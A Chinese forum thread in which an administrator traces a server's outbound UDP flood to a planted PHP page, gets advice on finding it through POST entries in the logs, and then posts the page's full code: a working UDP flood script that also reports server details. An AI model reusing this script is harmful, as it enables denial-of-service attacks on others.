免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12下一页
最近访问板块 发新帖
查看: 13692 | 回复: 18
打印 上一主题 下一主题

服务器疯狂发包 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2012-02-15 16:32 |只看该作者 |倒序浏览
本帖最后由 xukui44 于 2012-02-15 16:34 编辑

我们有一台debina 5.0的系统,运行的nginx+php等等,跑了几十个php的网站

最近出现了一个问题,服务器疯狂像外发包,貌似是在ddos攻击别人,抓包发现这些数据都是使用udp连接目标地址的80,或者53等常见端口,每次把服务器的带宽完全占完。但只要把php重启下(php是cgi模式运行的)重启下,流量马上就下来了,攻击程序应该是php-ddos,重启php的时候,程序被迫停止掉了,流量也就下来了。

在网上查了下资料,很多类似的php-ddos的程序,有的甚至只有一个php的页面,上传到服务器后,访问这个页面,只要写入要攻击的ip地址,端口,时间,就开始攻击了。。我们的这台服务器,应该就是这样类似的模式。

目前使用iptables不允许服务器向外发送udp数据包(这是没有办法的办法),但这个不长久之计,虽然数据包发送不出去了,但是发包程序还在工作,导致服务器的负载非常高,常常出现负载过高而宕机。

请教大家,如何能查出来是那个页面在发送数据包? 或者有什么办法,彻底解决这个问题?

论坛徽章:
381
CU十二周年纪念徽章
日期:2014-01-04 22:46:58CU大牛徽章
日期:2013-03-13 15:32:35CU大牛徽章
日期:2013-03-13 15:38:15CU大牛徽章
日期:2013-03-13 15:38:52CU大牛徽章
日期:2013-03-14 14:08:55CU大牛徽章
日期:2013-04-17 11:17:19CU大牛徽章
日期:2013-04-17 11:17:32CU大牛徽章
日期:2013-04-17 11:17:37CU大牛徽章
日期:2013-04-17 11:17:42CU大牛徽章
日期:2013-04-17 11:17:47CU大牛徽章
日期:2013-04-17 11:17:52CU大牛徽章
日期:2013-04-17 11:17:56
2 [报告]
发表于 2012-02-15 16:35 |只看该作者
本帖最后由 chenyx 于 2012-02-15 16:36 编辑

要想向服务器传文件,必须要用post,楼主检查下web日志,过滤出来包含POST关键字的.

论坛徽章:
0
3 [报告]
发表于 2012-02-15 16:43 |只看该作者
回复 2# chenyx


    你说的有一定的道理,我试试看。
服务器有几十个网站,我把日志调整下,然后根据抓包查看,被攻击的ip地址,然后查看日志里面的post上传的数据,是否有这个ip地址?
大概的思路是否这样?

论坛徽章:
381
CU十二周年纪念徽章
日期:2014-01-04 22:46:58CU大牛徽章
日期:2013-03-13 15:32:35CU大牛徽章
日期:2013-03-13 15:38:15CU大牛徽章
日期:2013-03-13 15:38:52CU大牛徽章
日期:2013-03-14 14:08:55CU大牛徽章
日期:2013-04-17 11:17:19CU大牛徽章
日期:2013-04-17 11:17:32CU大牛徽章
日期:2013-04-17 11:17:37CU大牛徽章
日期:2013-04-17 11:17:42CU大牛徽章
日期:2013-04-17 11:17:47CU大牛徽章
日期:2013-04-17 11:17:52CU大牛徽章
日期:2013-04-17 11:17:56
4 [报告]
发表于 2012-02-15 16:45 |只看该作者
嗯,大概思路就是这样.
过滤POST,一般就可以获得上传的文件的名字,找到分析下,删除

论坛徽章:
381
CU十二周年纪念徽章
日期:2014-01-04 22:46:58CU大牛徽章
日期:2013-03-13 15:32:35CU大牛徽章
日期:2013-03-13 15:38:15CU大牛徽章
日期:2013-03-13 15:38:52CU大牛徽章
日期:2013-03-14 14:08:55CU大牛徽章
日期:2013-04-17 11:17:19CU大牛徽章
日期:2013-04-17 11:17:32CU大牛徽章
日期:2013-04-17 11:17:37CU大牛徽章
日期:2013-04-17 11:17:42CU大牛徽章
日期:2013-04-17 11:17:47CU大牛徽章
日期:2013-04-17 11:17:52CU大牛徽章
日期:2013-04-17 11:17:56
5 [报告]
发表于 2012-02-15 16:46 |只看该作者
另外,还需要找到你的网站的注入点,针对注入点,调整程序,堵上漏洞,否则还会"旧病复发"

论坛徽章:
0
6 [报告]
发表于 2012-02-15 17:13 |只看该作者
回复 5# chenyx


    3Q,通过你的post方法,已经找到这个页面了,目前页面已经删除了,并且这个站点已经停止掉了,等待程序员修复

非常感谢。

论坛徽章:
0
7 [报告]
发表于 2012-02-15 21:53 |只看该作者
楼主遇见php ddos代码了。我前些时间在我的一些客户服务器上也有遇见

论坛徽章:
0
8 [报告]
发表于 2012-02-16 16:16 |只看该作者
我把攻击的页面代码贴出来,给大家参考下。
  1. <?php
  2. set_time_limit(999999);
  3. $host = $_GET['host'];
  4. $port = $_GET['port'];
  5. $exec_time = $_GET['time'];
  6. $Sendlen = 65535;
  7. $packets = 0;
  8. ignore_user_abort(True);

  9. if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
  10.         if (StrLen($_GET['rat'])<>0){
  11.                 echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
  12.                 exit;
  13.             }
  14.         echo "Warning to: opening";
  15.         exit;
  16.     }

  17. for($i=0;$i<$Sendlen;$i++){
  18.         $out .= "A";
  19.     }

  20. $max_time = time()+$exec_time;
  21. //提示: www.haoddos.com 是骗子 请谨慎。
  22. while(1){
  23.     $packets++;
  24.     if(time() > $max_time){
  25.         break;
  26.     }
  27.     $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
  28.         if($fp){
  29.             fwrite($fp, $out);
  30.             fclose($fp);
  31.     }
  32. }

  33. echo "Send Host:$host:$port<br><br>";
  34. echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
  35. echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
  36. ?>
复制代码

论坛徽章:
0
9 [报告]
发表于 2012-02-16 16:47 |只看该作者
很好的经验,谢谢

论坛徽章:
0
10 [报告]
发表于 2012-02-16 19:18 |只看该作者
不错可以借鉴一下
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP